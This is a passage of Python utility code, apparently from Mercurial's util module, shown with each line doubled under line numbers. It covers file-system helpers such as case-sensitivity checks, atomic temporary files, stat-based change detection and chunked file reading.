1698 return os.readlink(pathname)
1698 return os.readlink(pathname)
1699 except OSError as why:
1699 except OSError as why:
1700 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1700 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1701 raise
1701 raise
1702 except AttributeError: # no symlink in os
1702 except AttributeError: # no symlink in os
1703 pass
1703 pass
1704 fp = posixfile(pathname, 'rb')
1704 fp = posixfile(pathname, 'rb')
1705 r = fp.read()
1705 r = fp.read()
1706 fp.close()
1706 fp.close()
1707 return r
1707 return r
1708
1708
1709 def fstat(fp):
1709 def fstat(fp):
1710 '''stat file object that may not have fileno method.'''
1710 '''stat file object that may not have fileno method.'''
1711 try:
1711 try:
1712 return os.fstat(fp.fileno())
1712 return os.fstat(fp.fileno())
1713 except AttributeError:
1713 except AttributeError:
1714 return os.stat(fp.name)
1714 return os.stat(fp.name)
1715
1715
1716 # File system features
1716 # File system features
1717
1717
1718 def fscasesensitive(path):
1718 def fscasesensitive(path):
1719 """
1719 """
1720 Return true if the given path is on a case-sensitive filesystem
1720 Return true if the given path is on a case-sensitive filesystem
1721
1721
1722 Requires a path (like /foo/.hg) ending with a foldable final
1722 Requires a path (like /foo/.hg) ending with a foldable final
1723 directory component.
1723 directory component.
1724 """
1724 """
1725 s1 = os.lstat(path)
1725 s1 = os.lstat(path)
1726 d, b = os.path.split(path)
1726 d, b = os.path.split(path)
1727 b2 = b.upper()
1727 b2 = b.upper()
1728 if b == b2:
1728 if b == b2:
1729 b2 = b.lower()
1729 b2 = b.lower()
1730 if b == b2:
1730 if b == b2:
1731 return True # no evidence against case sensitivity
1731 return True # no evidence against case sensitivity
1732 p2 = os.path.join(d, b2)
1732 p2 = os.path.join(d, b2)
1733 try:
1733 try:
1734 s2 = os.lstat(p2)
1734 s2 = os.lstat(p2)
1735 if s2 == s1:
1735 if s2 == s1:
1736 return False
1736 return False
1737 return True
1737 return True
1738 except OSError:
1738 except OSError:
1739 return True
1739 return True
1740
1740
1741 try:
1741 try:
1742 import re2
1742 import re2
1743 _re2 = None
1743 _re2 = None
1744 except ImportError:
1744 except ImportError:
1745 _re2 = False
1745 _re2 = False
1746
1746
1747 class _re(object):
1747 class _re(object):
1748 def _checkre2(self):
1748 def _checkre2(self):
1749 global _re2
1749 global _re2
1750 try:
1750 try:
1751 # check if match works, see issue3964
1751 # check if match works, see issue3964
1752 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1752 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1753 except ImportError:
1753 except ImportError:
1754 _re2 = False
1754 _re2 = False
1755
1755
1756 def compile(self, pat, flags=0):
1756 def compile(self, pat, flags=0):
1757 '''Compile a regular expression, using re2 if possible
1757 '''Compile a regular expression, using re2 if possible
1758
1758
1759 For best performance, use only re2-compatible regexp features. The
1759 For best performance, use only re2-compatible regexp features. The
1760 only flags from the re module that are re2-compatible are
1760 only flags from the re module that are re2-compatible are
1761 IGNORECASE and MULTILINE.'''
1761 IGNORECASE and MULTILINE.'''
1762 if _re2 is None:
1762 if _re2 is None:
1763 self._checkre2()
1763 self._checkre2()
1764 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1764 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1765 if flags & remod.IGNORECASE:
1765 if flags & remod.IGNORECASE:
1766 pat = '(?i)' + pat
1766 pat = '(?i)' + pat
1767 if flags & remod.MULTILINE:
1767 if flags & remod.MULTILINE:
1768 pat = '(?m)' + pat
1768 pat = '(?m)' + pat
1769 try:
1769 try:
1770 return re2.compile(pat)
1770 return re2.compile(pat)
1771 except re2.error:
1771 except re2.error:
1772 pass
1772 pass
1773 return remod.compile(pat, flags)
1773 return remod.compile(pat, flags)
1774
1774
1775 @propertycache
1775 @propertycache
1776 def escape(self):
1776 def escape(self):
1777 '''Return the version of escape corresponding to self.compile.
1777 '''Return the version of escape corresponding to self.compile.
1778
1778
1779 This is imperfect because whether re2 or re is used for a particular
1779 This is imperfect because whether re2 or re is used for a particular
1780 function depends on the flags, etc, but it's the best we can do.
1780 function depends on the flags, etc, but it's the best we can do.
1781 '''
1781 '''
1782 global _re2
1782 global _re2
1783 if _re2 is None:
1783 if _re2 is None:
1784 self._checkre2()
1784 self._checkre2()
1785 if _re2:
1785 if _re2:
1786 return re2.escape
1786 return re2.escape
1787 else:
1787 else:
1788 return remod.escape
1788 return remod.escape
1789
1789
1790 re = _re()
1790 re = _re()
1791
1791
1792 _fspathcache = {}
1792 _fspathcache = {}
1793 def fspath(name, root):
1793 def fspath(name, root):
1794 '''Get name in the case stored in the filesystem
1794 '''Get name in the case stored in the filesystem
1795
1795
1796 The name should be relative to root, and be normcase-ed for efficiency.
1796 The name should be relative to root, and be normcase-ed for efficiency.
1797
1797
1798 Note that this function is unnecessary, and should not be
1798 Note that this function is unnecessary, and should not be
1799 called, for case-sensitive filesystems (simply because it's expensive).
1799 called, for case-sensitive filesystems (simply because it's expensive).
1800
1800
1801 The root should be normcase-ed, too.
1801 The root should be normcase-ed, too.
1802 '''
1802 '''
1803 def _makefspathcacheentry(dir):
1803 def _makefspathcacheentry(dir):
1804 return dict((normcase(n), n) for n in os.listdir(dir))
1804 return dict((normcase(n), n) for n in os.listdir(dir))
1805
1805
1806 seps = pycompat.ossep
1806 seps = pycompat.ossep
1807 if pycompat.osaltsep:
1807 if pycompat.osaltsep:
1808 seps = seps + pycompat.osaltsep
1808 seps = seps + pycompat.osaltsep
1809 # Protect backslashes. This gets silly very quickly.
1809 # Protect backslashes. This gets silly very quickly.
1810 seps.replace('\\','\\\\')
1810 seps.replace('\\','\\\\')
1811 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1811 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1812 dir = os.path.normpath(root)
1812 dir = os.path.normpath(root)
1813 result = []
1813 result = []
1814 for part, sep in pattern.findall(name):
1814 for part, sep in pattern.findall(name):
1815 if sep:
1815 if sep:
1816 result.append(sep)
1816 result.append(sep)
1817 continue
1817 continue
1818
1818
1819 if dir not in _fspathcache:
1819 if dir not in _fspathcache:
1820 _fspathcache[dir] = _makefspathcacheentry(dir)
1820 _fspathcache[dir] = _makefspathcacheentry(dir)
1821 contents = _fspathcache[dir]
1821 contents = _fspathcache[dir]
1822
1822
1823 found = contents.get(part)
1823 found = contents.get(part)
1824 if not found:
1824 if not found:
1825 # retry "once per directory" per "dirstate.walk" which
1825 # retry "once per directory" per "dirstate.walk" which
1826 # may take place for each patches of "hg qpush", for example
1826 # may take place for each patches of "hg qpush", for example
1827 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1827 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1828 found = contents.get(part)
1828 found = contents.get(part)
1829
1829
1830 result.append(found or part)
1830 result.append(found or part)
1831 dir = os.path.join(dir, part)
1831 dir = os.path.join(dir, part)
1832
1832
1833 return ''.join(result)
1833 return ''.join(result)
1834
1834
1835 def checknlink(testfile):
1835 def checknlink(testfile):
1836 '''check whether hardlink count reporting works properly'''
1836 '''check whether hardlink count reporting works properly'''
1837
1837
1838 # testfile may be open, so we need a separate file for checking to
1838 # testfile may be open, so we need a separate file for checking to
1839 # work around issue2543 (or testfile may get lost on Samba shares)
1839 # work around issue2543 (or testfile may get lost on Samba shares)
1840 f1, f2, fp = None, None, None
1840 f1, f2, fp = None, None, None
1841 try:
1841 try:
1842 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1842 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1843 suffix='1~', dir=os.path.dirname(testfile))
1843 suffix='1~', dir=os.path.dirname(testfile))
1844 os.close(fd)
1844 os.close(fd)
1845 f2 = '%s2~' % f1[:-2]
1845 f2 = '%s2~' % f1[:-2]
1846
1846
1847 oslink(f1, f2)
1847 oslink(f1, f2)
1848 # nlinks() may behave differently for files on Windows shares if
1848 # nlinks() may behave differently for files on Windows shares if
1849 # the file is open.
1849 # the file is open.
1850 fp = posixfile(f2)
1850 fp = posixfile(f2)
1851 return nlinks(f2) > 1
1851 return nlinks(f2) > 1
1852 except OSError:
1852 except OSError:
1853 return False
1853 return False
1854 finally:
1854 finally:
1855 if fp is not None:
1855 if fp is not None:
1856 fp.close()
1856 fp.close()
1857 for f in (f1, f2):
1857 for f in (f1, f2):
1858 try:
1858 try:
1859 if f is not None:
1859 if f is not None:
1860 os.unlink(f)
1860 os.unlink(f)
1861 except OSError:
1861 except OSError:
1862 pass
1862 pass
1863
1863
1864 def endswithsep(path):
1864 def endswithsep(path):
1865 '''Check path ends with os.sep or os.altsep.'''
1865 '''Check path ends with os.sep or os.altsep.'''
1866 return (path.endswith(pycompat.ossep)
1866 return (path.endswith(pycompat.ossep)
1867 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1867 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1868
1868
1869 def splitpath(path):
1869 def splitpath(path):
1870 '''Split path by os.sep.
1870 '''Split path by os.sep.
1871 Note that this function does not use os.altsep because this is
1871 Note that this function does not use os.altsep because this is
1872 an alternative of simple "xxx.split(os.sep)".
1872 an alternative of simple "xxx.split(os.sep)".
1873 It is recommended to use os.path.normpath() before using this
1873 It is recommended to use os.path.normpath() before using this
1874 function if need.'''
1874 function if need.'''
1875 return path.split(pycompat.ossep)
1875 return path.split(pycompat.ossep)
1876
1876
1877 def gui():
1877 def gui():
1878 '''Are we running in a GUI?'''
1878 '''Are we running in a GUI?'''
1879 if pycompat.isdarwin:
1879 if pycompat.isdarwin:
1880 if 'SSH_CONNECTION' in encoding.environ:
1880 if 'SSH_CONNECTION' in encoding.environ:
1881 # handle SSH access to a box where the user is logged in
1881 # handle SSH access to a box where the user is logged in
1882 return False
1882 return False
1883 elif getattr(osutil, 'isgui', None):
1883 elif getattr(osutil, 'isgui', None):
1884 # check if a CoreGraphics session is available
1884 # check if a CoreGraphics session is available
1885 return osutil.isgui()
1885 return osutil.isgui()
1886 else:
1886 else:
1887 # pure build; use a safe default
1887 # pure build; use a safe default
1888 return True
1888 return True
1889 else:
1889 else:
1890 return pycompat.iswindows or encoding.environ.get("DISPLAY")
1890 return pycompat.iswindows or encoding.environ.get("DISPLAY")
1891
1891
1892 def mktempcopy(name, emptyok=False, createmode=None):
1892 def mktempcopy(name, emptyok=False, createmode=None):
1893 """Create a temporary file with the same contents from name
1893 """Create a temporary file with the same contents from name
1894
1894
1895 The permission bits are copied from the original file.
1895 The permission bits are copied from the original file.
1896
1896
1897 If the temporary file is going to be truncated immediately, you
1897 If the temporary file is going to be truncated immediately, you
1898 can use emptyok=True as an optimization.
1898 can use emptyok=True as an optimization.
1899
1899
1900 Returns the name of the temporary file.
1900 Returns the name of the temporary file.
1901 """
1901 """
1902 d, fn = os.path.split(name)
1902 d, fn = os.path.split(name)
1903 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1903 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1904 os.close(fd)
1904 os.close(fd)
1905 # Temporary files are created with mode 0600, which is usually not
1905 # Temporary files are created with mode 0600, which is usually not
1906 # what we want. If the original file already exists, just copy
1906 # what we want. If the original file already exists, just copy
1907 # its mode. Otherwise, manually obey umask.
1907 # its mode. Otherwise, manually obey umask.
1908 copymode(name, temp, createmode)
1908 copymode(name, temp, createmode)
1909 if emptyok:
1909 if emptyok:
1910 return temp
1910 return temp
1911 try:
1911 try:
1912 try:
1912 try:
1913 ifp = posixfile(name, "rb")
1913 ifp = posixfile(name, "rb")
1914 except IOError as inst:
1914 except IOError as inst:
1915 if inst.errno == errno.ENOENT:
1915 if inst.errno == errno.ENOENT:
1916 return temp
1916 return temp
1917 if not getattr(inst, 'filename', None):
1917 if not getattr(inst, 'filename', None):
1918 inst.filename = name
1918 inst.filename = name
1919 raise
1919 raise
1920 ofp = posixfile(temp, "wb")
1920 ofp = posixfile(temp, "wb")
1921 for chunk in filechunkiter(ifp):
1921 for chunk in filechunkiter(ifp):
1922 ofp.write(chunk)
1922 ofp.write(chunk)
1923 ifp.close()
1923 ifp.close()
1924 ofp.close()
1924 ofp.close()
1925 except: # re-raises
1925 except: # re-raises
1926 try:
1926 try:
1927 os.unlink(temp)
1927 os.unlink(temp)
1928 except OSError:
1928 except OSError:
1929 pass
1929 pass
1930 raise
1930 raise
1931 return temp
1931 return temp
1932
1932
1933 class filestat(object):
1933 class filestat(object):
1934 """help to exactly detect change of a file
1934 """help to exactly detect change of a file
1935
1935
1936 'stat' attribute is result of 'os.stat()' if specified 'path'
1936 'stat' attribute is result of 'os.stat()' if specified 'path'
1937 exists. Otherwise, it is None. This can avoid preparative
1937 exists. Otherwise, it is None. This can avoid preparative
1938 'exists()' examination on client side of this class.
1938 'exists()' examination on client side of this class.
1939 """
1939 """
1940 def __init__(self, stat):
1940 def __init__(self, stat):
1941 self.stat = stat
1941 self.stat = stat
1942
1942
1943 @classmethod
1943 @classmethod
1944 def frompath(cls, path):
1944 def frompath(cls, path):
1945 try:
1945 try:
1946 stat = os.stat(path)
1946 stat = os.stat(path)
1947 except OSError as err:
1947 except OSError as err:
1948 if err.errno != errno.ENOENT:
1948 if err.errno != errno.ENOENT:
1949 raise
1949 raise
1950 stat = None
1950 stat = None
1951 return cls(stat)
1951 return cls(stat)
1952
1952
1953 @classmethod
1953 @classmethod
1954 def fromfp(cls, fp):
1954 def fromfp(cls, fp):
1955 stat = os.fstat(fp.fileno())
1955 stat = os.fstat(fp.fileno())
1956 return cls(stat)
1956 return cls(stat)
1957
1957
1958 __hash__ = object.__hash__
1958 __hash__ = object.__hash__
1959
1959
1960 def __eq__(self, old):
1960 def __eq__(self, old):
1961 try:
1961 try:
1962 # if ambiguity between stat of new and old file is
1962 # if ambiguity between stat of new and old file is
1963 # avoided, comparison of size, ctime and mtime is enough
1963 # avoided, comparison of size, ctime and mtime is enough
1964 # to exactly detect change of a file regardless of platform
1964 # to exactly detect change of a file regardless of platform
1965 return (self.stat.st_size == old.stat.st_size and
1965 return (self.stat.st_size == old.stat.st_size and
1966 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1966 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1967 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1967 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1968 except AttributeError:
1968 except AttributeError:
1969 pass
1969 pass
1970 try:
1970 try:
1971 return self.stat is None and old.stat is None
1971 return self.stat is None and old.stat is None
1972 except AttributeError:
1972 except AttributeError:
1973 return False
1973 return False
1974
1974
1975 def isambig(self, old):
1975 def isambig(self, old):
1976 """Examine whether new (= self) stat is ambiguous against old one
1976 """Examine whether new (= self) stat is ambiguous against old one
1977
1977
1978 "S[N]" below means stat of a file at N-th change:
1978 "S[N]" below means stat of a file at N-th change:
1979
1979
1980 - S[n-1].ctime < S[n].ctime: can detect change of a file
1980 - S[n-1].ctime < S[n].ctime: can detect change of a file
1981 - S[n-1].ctime == S[n].ctime
1981 - S[n-1].ctime == S[n].ctime
1982 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1982 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1983 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1983 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1984 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1984 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1985 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1985 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1986
1986
1987 Case (*2) above means that a file was changed twice or more at
1987 Case (*2) above means that a file was changed twice or more at
1988 same time in sec (= S[n-1].ctime), and comparison of timestamp
1988 same time in sec (= S[n-1].ctime), and comparison of timestamp
1989 is ambiguous.
1989 is ambiguous.
1990
1990
1991 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1991 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1992 timestamp is ambiguous".
1992 timestamp is ambiguous".
1993
1993
1994 But advancing mtime only in case (*2) doesn't work as
1994 But advancing mtime only in case (*2) doesn't work as
1995 expected, because naturally advanced S[n].mtime in case (*1)
1995 expected, because naturally advanced S[n].mtime in case (*1)
1996 might be equal to manually advanced S[n-1 or earlier].mtime.
1996 might be equal to manually advanced S[n-1 or earlier].mtime.
1997
1997
1998 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1998 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1999 treated as ambiguous regardless of mtime, to avoid overlooking
1999 treated as ambiguous regardless of mtime, to avoid overlooking
2000 by confliction between such mtime.
2000 by confliction between such mtime.
2001
2001
2002 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2002 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2003 S[n].mtime", even if size of a file isn't changed.
2003 S[n].mtime", even if size of a file isn't changed.
2004 """
2004 """
2005 try:
2005 try:
2006 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2006 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2007 except AttributeError:
2007 except AttributeError:
2008 return False
2008 return False
2009
2009
2010 def avoidambig(self, path, old):
2010 def avoidambig(self, path, old):
2011 """Change file stat of specified path to avoid ambiguity
2011 """Change file stat of specified path to avoid ambiguity
2012
2012
2013 'old' should be previous filestat of 'path'.
2013 'old' should be previous filestat of 'path'.
2014
2014
2015 This skips avoiding ambiguity, if a process doesn't have
2015 This skips avoiding ambiguity, if a process doesn't have
2016 appropriate privileges for 'path'. This returns False in this
2016 appropriate privileges for 'path'. This returns False in this
2017 case.
2017 case.
2018
2018
2019 Otherwise, this returns True, as "ambiguity is avoided".
2019 Otherwise, this returns True, as "ambiguity is avoided".
2020 """
2020 """
2021 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2021 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2022 try:
2022 try:
2023 os.utime(path, (advanced, advanced))
2023 os.utime(path, (advanced, advanced))
2024 except OSError as inst:
2024 except OSError as inst:
2025 if inst.errno == errno.EPERM:
2025 if inst.errno == errno.EPERM:
2026 # utime() on the file created by another user causes EPERM,
2026 # utime() on the file created by another user causes EPERM,
2027 # if a process doesn't have appropriate privileges
2027 # if a process doesn't have appropriate privileges
2028 return False
2028 return False
2029 raise
2029 raise
2030 return True
2030 return True
2031
2031
2032 def __ne__(self, other):
2032 def __ne__(self, other):
2033 return not self == other
2033 return not self == other
2034
2034
2035 class atomictempfile(object):
2035 class atomictempfile(object):
2036 '''writable file object that atomically updates a file
2036 '''writable file object that atomically updates a file
2037
2037
2038 All writes will go to a temporary copy of the original file. Call
2038 All writes will go to a temporary copy of the original file. Call
2039 close() when you are done writing, and atomictempfile will rename
2039 close() when you are done writing, and atomictempfile will rename
2040 the temporary copy to the original name, making the changes
2040 the temporary copy to the original name, making the changes
2041 visible. If the object is destroyed without being closed, all your
2041 visible. If the object is destroyed without being closed, all your
2042 writes are discarded.
2042 writes are discarded.
2043
2043
2044 checkambig argument of constructor is used with filestat, and is
2044 checkambig argument of constructor is used with filestat, and is
2045 useful only if target file is guarded by any lock (e.g. repo.lock
2045 useful only if target file is guarded by any lock (e.g. repo.lock
2046 or repo.wlock).
2046 or repo.wlock).
2047 '''
2047 '''
2048 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2048 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2049 self.__name = name # permanent name
2049 self.__name = name # permanent name
2050 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2050 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2051 createmode=createmode)
2051 createmode=createmode)
2052 self._fp = posixfile(self._tempname, mode)
2052 self._fp = posixfile(self._tempname, mode)
2053 self._checkambig = checkambig
2053 self._checkambig = checkambig
2054
2054
2055 # delegated methods
2055 # delegated methods
2056 self.read = self._fp.read
2056 self.read = self._fp.read
2057 self.write = self._fp.write
2057 self.write = self._fp.write
2058 self.seek = self._fp.seek
2058 self.seek = self._fp.seek
2059 self.tell = self._fp.tell
2059 self.tell = self._fp.tell
2060 self.fileno = self._fp.fileno
2060 self.fileno = self._fp.fileno
2061
2061
2062 def close(self):
2062 def close(self):
2063 if not self._fp.closed:
2063 if not self._fp.closed:
2064 self._fp.close()
2064 self._fp.close()
2065 filename = localpath(self.__name)
2065 filename = localpath(self.__name)
2066 oldstat = self._checkambig and filestat.frompath(filename)
2066 oldstat = self._checkambig and filestat.frompath(filename)
2067 if oldstat and oldstat.stat:
2067 if oldstat and oldstat.stat:
2068 rename(self._tempname, filename)
2068 rename(self._tempname, filename)
2069 newstat = filestat.frompath(filename)
2069 newstat = filestat.frompath(filename)
2070 if newstat.isambig(oldstat):
2070 if newstat.isambig(oldstat):
2071 # stat of changed file is ambiguous to original one
2071 # stat of changed file is ambiguous to original one
2072 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2072 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2073 os.utime(filename, (advanced, advanced))
2073 os.utime(filename, (advanced, advanced))
2074 else:
2074 else:
2075 rename(self._tempname, filename)
2075 rename(self._tempname, filename)
2076
2076
2077 def discard(self):
2077 def discard(self):
2078 if not self._fp.closed:
2078 if not self._fp.closed:
2079 try:
2079 try:
2080 os.unlink(self._tempname)
2080 os.unlink(self._tempname)
2081 except OSError:
2081 except OSError:
2082 pass
2082 pass
2083 self._fp.close()
2083 self._fp.close()
2084
2084
2085 def __del__(self):
2085 def __del__(self):
2086 if safehasattr(self, '_fp'): # constructor actually did something
2086 if safehasattr(self, '_fp'): # constructor actually did something
2087 self.discard()
2087 self.discard()
2088
2088
2089 def __enter__(self):
2089 def __enter__(self):
2090 return self
2090 return self
2091
2091
2092 def __exit__(self, exctype, excvalue, traceback):
2092 def __exit__(self, exctype, excvalue, traceback):
2093 if exctype is not None:
2093 if exctype is not None:
2094 self.discard()
2094 self.discard()
2095 else:
2095 else:
2096 self.close()
2096 self.close()
2097
2097
2098 def unlinkpath(f, ignoremissing=False):
2098 def unlinkpath(f, ignoremissing=False):
2099 """unlink and remove the directory if it is empty"""
2099 """unlink and remove the directory if it is empty"""
2100 if ignoremissing:
2100 if ignoremissing:
2101 tryunlink(f)
2101 tryunlink(f)
2102 else:
2102 else:
2103 unlink(f)
2103 unlink(f)
2104 # try removing directories that might now be empty
2104 # try removing directories that might now be empty
2105 try:
2105 try:
2106 removedirs(os.path.dirname(f))
2106 removedirs(os.path.dirname(f))
2107 except OSError:
2107 except OSError:
2108 pass
2108 pass
2109
2109
2110 def tryunlink(f):
2110 def tryunlink(f):
2111 """Attempt to remove a file, ignoring ENOENT errors."""
2111 """Attempt to remove a file, ignoring ENOENT errors."""
2112 try:
2112 try:
2113 unlink(f)
2113 unlink(f)
2114 except OSError as e:
2114 except OSError as e:
2115 if e.errno != errno.ENOENT:
2115 if e.errno != errno.ENOENT:
2116 raise
2116 raise
2117
2117
2118 def makedirs(name, mode=None, notindexed=False):
2118 def makedirs(name, mode=None, notindexed=False):
2119 """recursive directory creation with parent mode inheritance
2119 """recursive directory creation with parent mode inheritance
2120
2120
2121 Newly created directories are marked as "not to be indexed by
2121 Newly created directories are marked as "not to be indexed by
2122 the content indexing service", if ``notindexed`` is specified
2122 the content indexing service", if ``notindexed`` is specified
2123 for "write" mode access.
2123 for "write" mode access.
2124 """
2124 """
2125 try:
2125 try:
2126 makedir(name, notindexed)
2126 makedir(name, notindexed)
2127 except OSError as err:
2127 except OSError as err:
2128 if err.errno == errno.EEXIST:
2128 if err.errno == errno.EEXIST:
2129 return
2129 return
2130 if err.errno != errno.ENOENT or not name:
2130 if err.errno != errno.ENOENT or not name:
2131 raise
2131 raise
2132 parent = os.path.dirname(os.path.abspath(name))
2132 parent = os.path.dirname(os.path.abspath(name))
2133 if parent == name:
2133 if parent == name:
2134 raise
2134 raise
2135 makedirs(parent, mode, notindexed)
2135 makedirs(parent, mode, notindexed)
2136 try:
2136 try:
2137 makedir(name, notindexed)
2137 makedir(name, notindexed)
2138 except OSError as err:
2138 except OSError as err:
2139 # Catch EEXIST to handle races
2139 # Catch EEXIST to handle races
2140 if err.errno == errno.EEXIST:
2140 if err.errno == errno.EEXIST:
2141 return
2141 return
2142 raise
2142 raise
2143 if mode is not None:
2143 if mode is not None:
2144 os.chmod(name, mode)
2144 os.chmod(name, mode)
2145
2145
2146 def readfile(path):
2146 def readfile(path):
2147 with open(path, 'rb') as fp:
2147 with open(path, 'rb') as fp:
2148 return fp.read()
2148 return fp.read()
2149
2149
2150 def writefile(path, text):
2150 def writefile(path, text):
2151 with open(path, 'wb') as fp:
2151 with open(path, 'wb') as fp:
2152 fp.write(text)
2152 fp.write(text)
2153
2153
2154 def appendfile(path, text):
2154 def appendfile(path, text):
2155 with open(path, 'ab') as fp:
2155 with open(path, 'ab') as fp:
2156 fp.write(text)
2156 fp.write(text)
2157
2157
2158 class chunkbuffer(object):
2158 class chunkbuffer(object):
2159 """Allow arbitrary sized chunks of data to be efficiently read from an
2159 """Allow arbitrary sized chunks of data to be efficiently read from an
2160 iterator over chunks of arbitrary size."""
2160 iterator over chunks of arbitrary size."""
2161
2161
2162 def __init__(self, in_iter):
2162 def __init__(self, in_iter):
2163 """in_iter is the iterator that's iterating over the input chunks."""
2163 """in_iter is the iterator that's iterating over the input chunks."""
2164 def splitbig(chunks):
2164 def splitbig(chunks):
2165 for chunk in chunks:
2165 for chunk in chunks:
2166 if len(chunk) > 2**20:
2166 if len(chunk) > 2**20:
2167 pos = 0
2167 pos = 0
2168 while pos < len(chunk):
2168 while pos < len(chunk):
2169 end = pos + 2 ** 18
2169 end = pos + 2 ** 18
2170 yield chunk[pos:end]
2170 yield chunk[pos:end]
2171 pos = end
2171 pos = end
2172 else:
2172 else:
2173 yield chunk
2173 yield chunk
2174 self.iter = splitbig(in_iter)
2174 self.iter = splitbig(in_iter)
2175 self._queue = collections.deque()
2175 self._queue = collections.deque()
2176 self._chunkoffset = 0
2176 self._chunkoffset = 0
2177
2177
2178 def read(self, l=None):
2178 def read(self, l=None):
2179 """Read L bytes of data from the iterator of chunks of data.
2179 """Read L bytes of data from the iterator of chunks of data.
2180 Returns less than L bytes if the iterator runs dry.
2180 Returns less than L bytes if the iterator runs dry.
2181
2181
2182 If size parameter is omitted, read everything"""
2182 If size parameter is omitted, read everything"""
2183 if l is None:
2183 if l is None:
2184 return ''.join(self.iter)
2184 return ''.join(self.iter)
2185
2185
2186 left = l
2186 left = l
2187 buf = []
2187 buf = []
2188 queue = self._queue
2188 queue = self._queue
2189 while left > 0:
2189 while left > 0:
2190 # refill the queue
2190 # refill the queue
2191 if not queue:
2191 if not queue:
2192 target = 2**18
2192 target = 2**18
2193 for chunk in self.iter:
2193 for chunk in self.iter:
2194 queue.append(chunk)
2194 queue.append(chunk)
2195 target -= len(chunk)
2195 target -= len(chunk)
2196 if target <= 0:
2196 if target <= 0:
2197 break
2197 break
2198 if not queue:
2198 if not queue:
2199 break
2199 break
2200
2200
2201 # The easy way to do this would be to queue.popleft(), modify the
2201 # The easy way to do this would be to queue.popleft(), modify the
2202 # chunk (if necessary), then queue.appendleft(). However, for cases
2202 # chunk (if necessary), then queue.appendleft(). However, for cases
2203 # where we read partial chunk content, this incurs 2 dequeue
2203 # where we read partial chunk content, this incurs 2 dequeue
2204 # mutations and creates a new str for the remaining chunk in the
2204 # mutations and creates a new str for the remaining chunk in the
2205 # queue. Our code below avoids this overhead.
2205 # queue. Our code below avoids this overhead.
2206
2206
2207 chunk = queue[0]
2207 chunk = queue[0]
2208 chunkl = len(chunk)
2208 chunkl = len(chunk)
2209 offset = self._chunkoffset
2209 offset = self._chunkoffset
2210
2210
2211 # Use full chunk.
2211 # Use full chunk.
2212 if offset == 0 and left >= chunkl:
2212 if offset == 0 and left >= chunkl:
2213 left -= chunkl
2213 left -= chunkl
2214 queue.popleft()
2214 queue.popleft()
2215 buf.append(chunk)
2215 buf.append(chunk)
2216 # self._chunkoffset remains at 0.
2216 # self._chunkoffset remains at 0.
2217 continue
2217 continue
2218
2218
2219 chunkremaining = chunkl - offset
2219 chunkremaining = chunkl - offset
2220
2220
2221 # Use all of unconsumed part of chunk.
2221 # Use all of unconsumed part of chunk.
2222 if left >= chunkremaining:
2222 if left >= chunkremaining:
2223 left -= chunkremaining
2223 left -= chunkremaining
2224 queue.popleft()
2224 queue.popleft()
2225 # offset == 0 is enabled by block above, so this won't merely
2225 # offset == 0 is enabled by block above, so this won't merely
2226 # copy via ``chunk[0:]``.
2226 # copy via ``chunk[0:]``.
2227 buf.append(chunk[offset:])
2227 buf.append(chunk[offset:])
2228 self._chunkoffset = 0
2228 self._chunkoffset = 0
2229
2229
2230 # Partial chunk needed.
2230 # Partial chunk needed.
2231 else:
2231 else:
2232 buf.append(chunk[offset:offset + left])
2232 buf.append(chunk[offset:offset + left])
2233 self._chunkoffset += left
2233 self._chunkoffset += left
2234 left -= chunkremaining
2234 left -= chunkremaining
2235
2235
2236 return ''.join(buf)
2236 return ''.join(buf)
2237
2237
2238 def filechunkiter(f, size=131072, limit=None):
2238 def filechunkiter(f, size=131072, limit=None):
2239 """Create a generator that produces the data in the file size
2239 """Create a generator that produces the data in the file size
2240 (default 131072) bytes at a time, up to optional limit (default is
2240 (default 131072) bytes at a time, up to optional limit (default is
2241 to read all data). Chunks may be less than size bytes if the
2241 to read all data). Chunks may be less than size bytes if the
2242 chunk is the last chunk in the file, or the file is a socket or
